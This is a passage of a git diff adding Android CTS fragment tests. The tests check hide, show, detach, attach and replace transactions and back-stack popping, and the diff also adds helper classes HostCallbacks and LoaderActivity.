+        assertTrue(fragment.isHidden());
+        assertEquals(View.GONE, fragment.getView().getVisibility());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertFalse(fragment.isHidden());
+        assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+    }
+
+    // Hiding a hidden fragment should not throw
+    @Test
+    public void doubleHide() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment)
+                .hide(fragment)
+                .hide(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        // should not throw
+    }
+
+    // Hiding a non-existing fragment should not throw
+    @Test
+    public void hideUnAdded() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .hide(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        // should not throw
+    }
+
+    // Show a hidden fragment and its View should be VISIBLE. Then pop it and the View should be
+    // GONE.
+    @Test
+    public void showFragment() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment).hide(fragment).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertTrue(fragment.isHidden());
+        assertEquals(View.GONE, fragment.getView().getVisibility());
+
+        fm.beginTransaction().show(fragment).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertFalse(fragment.isHidden());
+        assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertTrue(fragment.isHidden());
+        assertEquals(View.GONE, fragment.getView().getVisibility());
+    }
+
+    // Showing a shown fragment should not throw
+    @Test
+    public void showShown() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment)
+                .show(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        // should not throw
+    }
+
+    // Showing a non-existing fragment should not throw
+    @Test
+    public void showUnAdded() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .show(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        // should not throw
+    }
+
+    // Detaching a fragment should remove the View from the hierarchy. Then popping it should
+    // bring it back VISIBLE
+    @Test
+    public void detachFragment() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertFalse(fragment.isDetached());
+        assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+
+        fm.beginTransaction().detach(fragment).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container);
+        assertTrue(fragment.isDetached());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertFalse(fragment.isDetached());
+        assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+    }
+
+    // Detaching a hidden fragment should remove the View from the hierarchy. Then popping it should
+    // bring it back hidden
+    @Test
+    public void detachHiddenFragment() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment).hide(fragment).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertFalse(fragment.isDetached());
+        assertTrue(fragment.isHidden());
+        assertEquals(View.GONE, fragment.getView().getVisibility());
+
+        fm.beginTransaction().detach(fragment).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container);
+        assertTrue(fragment.isHidden());
+        assertTrue(fragment.isDetached());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertTrue(fragment.isHidden());
+        assertFalse(fragment.isDetached());
+        assertEquals(View.GONE, fragment.getView().getVisibility());
+    }
+
+    // Detaching a detached fragment should not throw
+    @Test
+    public void detachDetatched() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment)
+                .detach(fragment)
+                .detach(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        // should not throw
+    }
+
+    // Detaching a non-existing fragment should not throw
+    @Test
+    public void detachUnAdded() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .detach(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        // should not throw
+    }
+
+    // Attaching a fragment should add the View back into the hierarchy. Then popping it should
+    // remove it again
+    @Test
+    public void attachFragment() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment).detach(fragment).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container);
+        assertTrue(fragment.isDetached());
+
+        fm.beginTransaction().attach(fragment).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertFalse(fragment.isDetached());
+        assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container);
+        assertTrue(fragment.isDetached());
+    }
+
+    // Attaching a hidden fragment should add the View as GONE the hierarchy. Then popping it should
+    // remove it again.
+    @Test
+    public void attachHiddenFragment() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment)
+                .hide(fragment)
+                .detach(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container);
+        assertTrue(fragment.isDetached());
+        assertTrue(fragment.isHidden());
+
+        fm.beginTransaction().attach(fragment).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertTrue(fragment.isHidden());
+        assertFalse(fragment.isDetached());
+        assertEquals(View.GONE, fragment.getView().getVisibility());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container);
+        assertTrue(fragment.isDetached());
+        assertTrue(fragment.isHidden());
+    }
+
+    // Attaching an attached fragment should not throw
+    @Test
+    public void attachAttached() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment)
+                .attach(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        // should not throw an exception
+    }
+
+    // Attaching a non-existing fragment should not throw
+    @Test
+    public void attachUnAdded() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .attach(fragment)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        // should not throw
+    }
+
+    // Simple replace of one fragment in a container. Popping should replace it back again
+    @Test
+    public void replaceOne() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment1, "1").commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment1);
+
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment2);
+        assertEquals(View.VISIBLE, fragment2.getView().getVisibility());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        Fragment replacement1 = fm.findFragmentByTag("1");
+        assertNotNull(replacement1);
+        FragmentTestUtil.assertChildren(container, replacement1);
+        assertFalse(replacement1.isHidden());
+        assertTrue(replacement1.isAdded());
+        assertFalse(replacement1.isDetached());
+        assertEquals(View.VISIBLE, replacement1.getView().getVisibility());
+    }
+
+    // Replace of multiple fragments in a container. Popping should replace it back again
+    @Test
+    public void replaceTwo() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .add(R.id.fragmentContainer, fragment2, "2")
+                .hide(fragment2)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment1, fragment2);
+
+        final StrictViewFragment fragment3 = new StrictViewFragment();
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer, fragment3)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment3);
+        assertEquals(View.VISIBLE, fragment3.getView().getVisibility());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        Fragment replacement1 = fm.findFragmentByTag("1");
+        Fragment replacement2 = fm.findFragmentByTag("2");
+        assertNotNull(replacement1);
+        assertNotNull(replacement2);
+        FragmentTestUtil.assertChildren(container, replacement1, replacement2);
+        assertFalse(replacement1.isHidden());
+        assertTrue(replacement1.isAdded());
+        assertFalse(replacement1.isDetached());
+        assertEquals(View.VISIBLE, replacement1.getView().getVisibility());
+
+        // fragment2 was hidden, so it should be returned hidden
+        assertTrue(replacement2.isHidden());
+        assertTrue(replacement2.isAdded());
+        assertFalse(replacement2.isDetached());
+        assertEquals(View.GONE, replacement2.getView().getVisibility());
+    }
+
+    // Replace of empty container. Should act as add and popping should just remove the fragment
+    @Test
+    public void replaceZero() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final StrictViewFragment fragment = new StrictViewFragment();
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer, fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment);
+        assertEquals(View.VISIBLE, fragment.getView().getVisibility());
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container);
+    }
+
+    // Replace a fragment that exists with itself
+    @Test
+    public void replaceExisting() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1, "1")
+                .add(R.id.fragmentContainer, fragment2, "2")
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment1, fragment2);
+
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment1);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        final Fragment replacement1 = fm.findFragmentByTag("1");
+        final Fragment replacement2 = fm.findFragmentByTag("2");
+
+        assertSame(fragment1, replacement1);
+        FragmentTestUtil.assertChildren(container, replacement1, replacement2);
+    }
+
+    // Have two replace operations in the same transaction to ensure that they
+    // don't interfere with each other
+    @Test
+    public void replaceReplace() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.double_container);
+        ViewGroup container1 = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer1);
+        ViewGroup container2 = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer2);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        final StrictViewFragment fragment3 = new StrictViewFragment();
+        final StrictViewFragment fragment4 = new StrictViewFragment();
+        final StrictViewFragment fragment5 = new StrictViewFragment();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer1, fragment1)
+                .add(R.id.fragmentContainer2, fragment2)
+                .replace(R.id.fragmentContainer1, fragment3)
+                .replace(R.id.fragmentContainer2, fragment4)
+                .replace(R.id.fragmentContainer1, fragment5)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        assertChildren(container1, fragment5);
+        assertChildren(container2, fragment4);
+
+        fm.popBackStack();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        assertChildren(container1);
+        assertChildren(container2);
+    }
+
+    // Test to prevent regressions in FragmentManager fragment replace method. See b/24693644
+    @Test
+    public void testReplaceFragment() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        StrictViewFragment fragmentA = new StrictViewFragment();
+        fragmentA.setLayoutId(R.layout.text_a);
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragmentA)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        assertNotNull(findViewById(R.id.textA));
+        assertNull(findViewById(R.id.textB));
+        assertNull(findViewById(R.id.textC));
+
+        StrictViewFragment fragmentB = new StrictViewFragment();
+        fragmentB.setLayoutId(R.layout.text_b);
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragmentB)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertNotNull(findViewById(R.id.textA));
+        assertNotNull(findViewById(R.id.textB));
+        assertNull(findViewById(R.id.textC));
+
+        StrictViewFragment fragmentC = new StrictViewFragment();
+        fragmentC.setLayoutId(R.layout.text_c);
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer, fragmentC)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        assertNull(findViewById(R.id.textA));
+        assertNull(findViewById(R.id.textB));
+        assertNotNull(findViewById(R.id.textC));
+    }
+
+    // Test that adding a fragment with invisible or gone views does not end up with the view
+    // being visible
+    @Test
+    public void addInvisibleAndGoneFragments() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final StrictViewFragment fragment1 = new InvisibleFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment1).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1);
+
+        assertEquals(View.INVISIBLE, fragment1.getView().getVisibility());
+
+        final InvisibleFragment fragment2 = new InvisibleFragment();
+        fragment2.visibility = View.GONE;
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment2);
+
+        assertEquals(View.GONE, fragment2.getView().getVisibility());
+    }
+
+    // Test to ensure that popping and adding a fragment properly track the fragments added
+    // and removed.
+    @Test
+    public void popAdd() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment1).addToBackStack(null).commit();
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+        FragmentTestUtil.assertChildren(container, fragment1);
+
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        final StrictViewFragment fragment3 = new StrictViewFragment();
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                fm.popBackStack();
+                fm.beginTransaction()
+                        .replace(R.id.fragmentContainer, fragment2)
+                        .addToBackStack(null)
+                        .commit();
+                fm.executePendingTransactions();
+                fm.popBackStack();
+                fm.beginTransaction()
+                        .replace(R.id.fragmentContainer, fragment3)
+                        .addToBackStack(null)
+                        .commit();
+                fm.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(container, fragment3);
+    }
+
+    // Ensure that ordered transactions are executed individually rather than together.
+    // This forces references from one fragment to another that should be executed earlier
+    // to work.
+    @Test
+    public void orderedOperationsTogether() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final StrictViewFragment fragment1 = new StrictViewFragment();
+        fragment1.setLayoutId(R.layout.scene1);
+        final StrictViewFragment fragment2 = new StrictViewFragment();
+        fragment2.setLayoutId(R.layout.text_a);
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                fm.beginTransaction()
+                        .add(R.id.fragmentContainer, fragment1)
+                        .setReorderingAllowed(false)
+                        .addToBackStack(null)
+                        .commit();
+                fm.beginTransaction()
+                        .add(R.id.squareContainer, fragment2)
+                        .setReorderingAllowed(false)
+                        .addToBackStack(null)
+                        .commit();
+                fm.executePendingTransactions();
+            }
+        });
+        FragmentTestUtil.assertChildren(container, fragment1);
+        assertNotNull(findViewById(R.id.textA));
+    }
+
+    // Ensure that there is no problem if the child fragment manager is used before
+    // the View has been added.
+    @Test
+    public void childFragmentManager() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final StrictViewFragment fragment1 = new ParentFragment();
+        fragment1.setLayoutId(R.layout.double_container);
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.assertChildren(container, fragment1);
+        ViewGroup innerContainer = (ViewGroup)
+                fragment1.getView().findViewById(R.id.fragmentContainer1);
+
+        Fragment fragment2 = fragment1.getChildFragmentManager().findFragmentByTag("inner");
+        FragmentTestUtil.assertChildren(innerContainer, fragment2);
+    }
+
+    // Popping the backstack with ordered fragments should execute the operations together.
+    // When a non-backstack fragment will be raised, it should not be destroyed.
+    @Test
+    public void popToNonBackStackFragment() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        final SimpleViewFragment fragment1 = new SimpleViewFragment();
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, fragment1)
+                .commit();
+
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        final SimpleViewFragment fragment2 = new SimpleViewFragment();
+
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack("two")
+                .commit();
+
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        final SimpleViewFragment fragment3 = new SimpleViewFragment();
+
+        fm.beginTransaction()
+                .replace(R.id.fragmentContainer, fragment3)
+                .addToBackStack("three")
+                .commit();
+
+        FragmentTestUtil.executePendingTransactions(mActivityRule);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule, "two",
+                FragmentManager.POP_BACK_STACK_INCLUSIVE);
+
+        ViewGroup container = (ViewGroup)
+                mActivityRule.getActivity().findViewById(R.id.fragmentContainer);
+
+        FragmentTestUtil.assertChildren(container, fragment1);
+        assertEquals(2, fragment1.onCreateViewCount);
+        assertEquals(1, fragment2.onCreateViewCount);
+        assertEquals(1, fragment3.onCreateViewCount);
+    }
+
+    private View findViewById(int viewId) {
+        return mActivityRule.getActivity().findViewById(viewId);
+    }
+
+    private void assertChildren(ViewGroup container, Fragment... fragments) {
+        final int numFragments = fragments == null ? 0 : fragments.length;
+        assertEquals("There aren't the correct number of fragment Views in its container",
+                numFragments, container.getChildCount());
+        for (int i = 0; i < numFragments; i++) {
+            assertEquals("Wrong Fragment View order for [" + i + "]", container.getChildAt(i),
+                    fragments[i].getView());
+        }
+    }
+
+    public static class InvisibleFragment extends StrictViewFragment {
+        public int visibility = View.INVISIBLE;
+
+        @Override
+        public void onViewCreated(View view, Bundle savedInstanceState) {
+            view.setVisibility(visibility);
+            super.onViewCreated(view, savedInstanceState);
+        }
+    }
+
+    public static class ParentFragment extends StrictViewFragment {
+        public ParentFragment() {
+            setLayoutId(R.layout.double_container);
+        }
+
+        @Override
+        public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                Bundle savedInstanceState) {
+            View view = super.onCreateView(inflater, container, savedInstanceState);
+            final StrictViewFragment fragment2 = new StrictViewFragment();
+            fragment2.setLayoutId(R.layout.text_a);
+
+            getChildFragmentManager().beginTransaction()
+                    .add(R.id.fragmentContainer1, fragment2, "inner")
+                    .addToBackStack(null)
+                    .commit();
+            getChildFragmentManager().executePendingTransactions();
+            return view;
+        }
+    }
+
+    public static class SimpleViewFragment extends Fragment {
+        public int onCreateViewCount;
+
+        @Override
+        public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                Bundle savedInstanceState) {
+            onCreateViewCount++;
+            return inflater.inflate(R.layout.text_a, container, false);
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/HostCallbacks.java b/tests/fragment/src/android/fragment/cts/HostCallbacks.java
new file mode 100644
index 0000000..fd45aa1
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/HostCallbacks.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import android.app.FragmentHostCallback;
+import android.os.Handler;
+import android.view.View;
+
+class HostCallbacks extends FragmentHostCallback<FragmentTestActivity> {
+    private final FragmentTestActivity mActivity;
+
+    public HostCallbacks(FragmentTestActivity activity, Handler handler, int windowAnimations) {
+        super(activity, handler, windowAnimations);
+        mActivity = activity;
+    }
+
+    @Override
+    public FragmentTestActivity onGetHost() {
+        return mActivity;
+    }
+
+    @Override
+    public View onFindViewById(int id) {
+        return mActivity.findViewById(id);
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/LoaderActivity.java b/tests/fragment/src/android/fragment/cts/LoaderActivity.java
new file mode 100644
index 0000000..9c69f75
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/LoaderActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import android.app.LoaderManager;
+import android.content.AsyncTaskLoader;
+import android.content.Context;
+import android.content.Loader;
+import android.os.Bundle;
+import android.view.ViewGroup;
+import android.widget.TextView;
+
+/**
+ * This Activity sets the text when loading completes. It also tracks the Activity in
+ * a static variable, so it must be cleared in test tear down.
+ */
+public class LoaderActivity extends RecreatedActivity {
+    public TextView textView;
+    public TextView textViewB;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.text_a);
+        textView = (TextView) findViewById(R.id.textA);
+
+        ViewGroup container = (ViewGroup) textView.getParent();
+        textViewB = new TextView(this);
+        textViewB.setId(R.id.textB);
+        container.addView(textViewB);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        getLoaderManager().initLoader(0, null, new TextLoaderCallback());
+    }
+
+    class TextLoaderCallback implements LoaderManager.LoaderCallbacks<String> {
+        @Override
+        public Loader<String> onCreateLoader(int id, Bundle args) {
+            return new TextLoader(LoaderActivity.this);
+        }
+
+        @Override
+        public void onLoadFinished(Loader<String> loader, String data) {
+            textView.setText(data);
+        }
+
+        @Override
+        public void onLoaderReset(Loader<String> loader) {
+        }
+    }
+
+    static class TextLoader extends AsyncTaskLoader<String> {
+        TextLoader(Context context) {
+            super(context);
+        }
+
+        @Override
+        protected void onStartLoading() {
+            forceLoad();
+        }
+
+        @Override
+        public String loadInBackground() {
+            return "Loaded!";
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/LoaderTest.java b/tests/fragment/src/android/fragment/cts/LoaderTest.java
new file mode 100755
index 0000000..2eb897e
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/LoaderTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
